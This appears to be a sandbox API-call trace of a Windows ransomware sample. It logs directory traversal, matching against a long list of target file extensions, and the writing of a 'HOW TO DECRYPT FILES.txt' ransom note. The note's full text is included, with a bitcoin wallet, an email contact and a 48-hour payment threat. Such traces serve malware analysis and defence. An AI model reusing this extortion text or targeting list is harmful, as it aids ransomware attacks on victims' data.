PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.dwg") returned 0 [0111.662] lstrlenA (lpString="*.dwg") returned 5 [0111.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.nd") returned 0 [0111.662] lstrlenA (lpString="*.nd") returned 4 [0111.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.tlg") returned 0 [0111.662] lstrlenA (lpString="*.tlg") returned 5 [0111.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.lgb") returned 0 [0111.663] lstrlenA (lpString="*.lgb") returned 5 [0111.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mov") returned 0 [0111.663] lstrlenA (lpString="*.mov") returned 5 [0111.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.xdw") returned 0 [0111.663] lstrlenA (lpString="*.xdw") returned 5 [0111.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.ods") returned 0 [0111.663] lstrlenA (lpString="*.ods") returned 5 [0111.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.wav") returned 0 [0111.663] lstrlenA (lpString="*.wav") returned 5 [0111.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mp3") returned 0 [0111.663] lstrlenA (lpString="*.mp3") returned 5 [0111.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.aiff") returned 0 [0111.663] lstrlenA (lpString="*.aiff") returned 6 [0111.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.flac") returned 0 [0111.663] lstrlenA (lpString="*.flac") returned 6 [0111.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.m4a") returned 0 [0111.663] lstrlenA (lpString="*.m4a") returned 5 [0111.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.csv") returned 0 [0111.663] lstrlenA (lpString="*.csv") returned 5 [0111.663] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7f645b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe7f645b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe81c5bc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xa6800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.663] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.663] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe86887c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe86887c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe86887c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8cd73e65058ef6f77f36b62a74ec3344", cAlternateFileName="8CD73E~1")) returned 0 [0111.663] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.664] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe94d0be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe94d0be, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe94d0be, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.WSMan.Run#", cAlternateFileName="MICROS~1.RUN")) returned 1 [0111.664] lstrcmpA (lpString1=".", lpString2="Microsoft.WSMan.Run#") returned -1 [0111.664] lstrcmpA (lpString1="..", lpString2="Microsoft.WSMan.Run#") returned -1 [0111.664] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.664] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.WSMan.Run#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#" [0111.664] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#") returned 67 [0111.664] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe94d0be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe94d0be, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe94d0be, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.664] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.664] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe94d0be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe94d0be, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe94d0be, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.664] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.664] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.664] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe94d0be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe94d0be, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe94d0be, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4582b654b68ad17b90714875bd8c3fa2", cAlternateFileName="4582B6~1")) returned 1 [0111.664] lstrcmpA (lpString1=".", lpString2="4582b654b68ad17b90714875bd8c3fa2") returned -1 [0111.665] lstrcmpA (lpString1="..", lpString2="4582b654b68ad17b90714875bd8c3fa2") returned -1 [0111.665] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\*.*") returned="*.*" [0111.665] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\", lpString2="4582b654b68ad17b90714875bd8c3fa2" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2" [0111.665] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2") returned 100 [0111.665] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe94d0be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe94d0be, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe94d0be, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.665] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.665] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe94d0be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe94d0be, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe94d0be, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.665] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.665] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.665] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe900dfd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe900dfd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe900dfd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Runtime.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.665] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.665] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WSMan.Runtime.ni.dll") returned -1 [0111.665] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WSMan.Runtime.ni.dll") returned -1 [0111.665] lstrcmpiA (lpString1="", lpString2="Microsoft.WSMan.Runtime.ni.dll") returned -1 [0111.666] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\*.*") returned="*.*" [0111.666] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\" [0111.666] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\") returned="" [0111.666] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\HOW TO DECRYPT FILES.txt" [0111.666] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.run#\\4582b654b68ad17b90714875bd8c3fa2\\how to decrypt files.txt")) returned 0xffffffff [0111.666] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.run#\\4582b654b68ad17b90714875bd8c3fa2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.667] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.667] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.669] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.669] CloseHandle (hObject=0x90) returned 1 [0111.669] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\", lpString2="Microsoft.WSMan.Runtime.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll" [0111.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.ems") returned 0 [0111.669] lstrlenA (lpString="*.ems") returned 5 [0111.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.db") returned 0 [0111.669] lstrlenA (lpString="*.db") returned 4 [0111.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.dbf") returned 0 [0111.669] lstrlenA (lpString="*.dbf") returned 5 [0111.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.myox") returned 0 [0111.669] lstrlenA (lpString="*.myox") returned 6 [0111.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.myo") returned 0 [0111.669] lstrlenA (lpString="*.myo") returned 5 [0111.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbw") returned 0 [0111.669] lstrlenA (lpString="*.qbw") returned 5 [0111.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbb") returned 0 [0111.669] lstrlenA (lpString="*.qbb") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbm") returned 0 [0111.670] lstrlenA (lpString="*.qbm") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbo") returned 0 [0111.670] lstrlenA (lpString="*.qbo") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbx") returned 0 [0111.670] lstrlenA (lpString="*.qbx") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qba") returned 0 [0111.670] lstrlenA (lpString="*.qba") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qby") returned 0 [0111.670] lstrlenA (lpString="*.qby") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbj") returned 0 [0111.670] lstrlenA (lpString="*.qbj") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.ofx") returned 0 [0111.670] lstrlenA (lpString="*.ofx") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qif") returned 0 [0111.670] lstrlenA (lpString="*.qif") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mye") returned 0 [0111.670] lstrlenA (lpString="*.mye") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mbox") returned 0 [0111.670] lstrlenA (lpString="*.mbox") returned 6 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.eml") returned 0 [0111.670] lstrlenA (lpString="*.eml") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.pst") returned 0 [0111.670] lstrlenA (lpString="*.pst") returned 5 [0111.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.ost") returned 0 [0111.670] lstrlenA (lpString="*.ost") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.idx") returned 0 [0111.671] lstrlenA (lpString="*.idx") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.dbx") returned 0 [0111.671] lstrlenA (lpString="*.dbx") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.sql") returned 0 [0111.671] lstrlenA (lpString="*.sql") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mdb") returned 0 [0111.671] lstrlenA (lpString="*.mdb") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.fdb") returned 0 [0111.671] lstrlenA (lpString="*.fdb") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.wab") returned 0 [0111.671] lstrlenA (lpString="*.wab") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.dat") returned 0 [0111.671] lstrlenA (lpString="*.dat") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.txt") returned 0 [0111.671] lstrlenA (lpString="*.txt") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.jpeg") returned 0 [0111.671] lstrlenA (lpString="*.jpeg") returned 6 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.jpg") returned 0 [0111.671] lstrlenA (lpString="*.jpg") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.png") returned 0 [0111.671] lstrlenA (lpString="*.png") returned 5 [0111.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.php") returned 0 [0111.672] lstrlenA (lpString="*.php") returned 5 [0111.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.cs") returned 0 [0111.672] lstrlenA (lpString="*.cs") returned 4 [0111.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.cpp") returned 0 [0111.672] lstrlenA (lpString="*.cpp") returned 5 [0111.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.rar") returned 0 [0111.672] lstrlenA (lpString="*.rar") returned 5 [0111.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.zip") returned 0 [0111.672] lstrlenA (lpString="*.zip") returned 5 [0111.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.html") returned 0 [0111.672] lstrlenA (lpString="*.html") returned 6 [0111.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.htm") returned 0 [0111.672] lstrlenA (lpString="*.htm") returned 5 [0111.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.xlsx") returned 0 [0111.672] lstrlenA (lpString="*.xlsx") returned 6 [0111.672] PathMatchSpecA 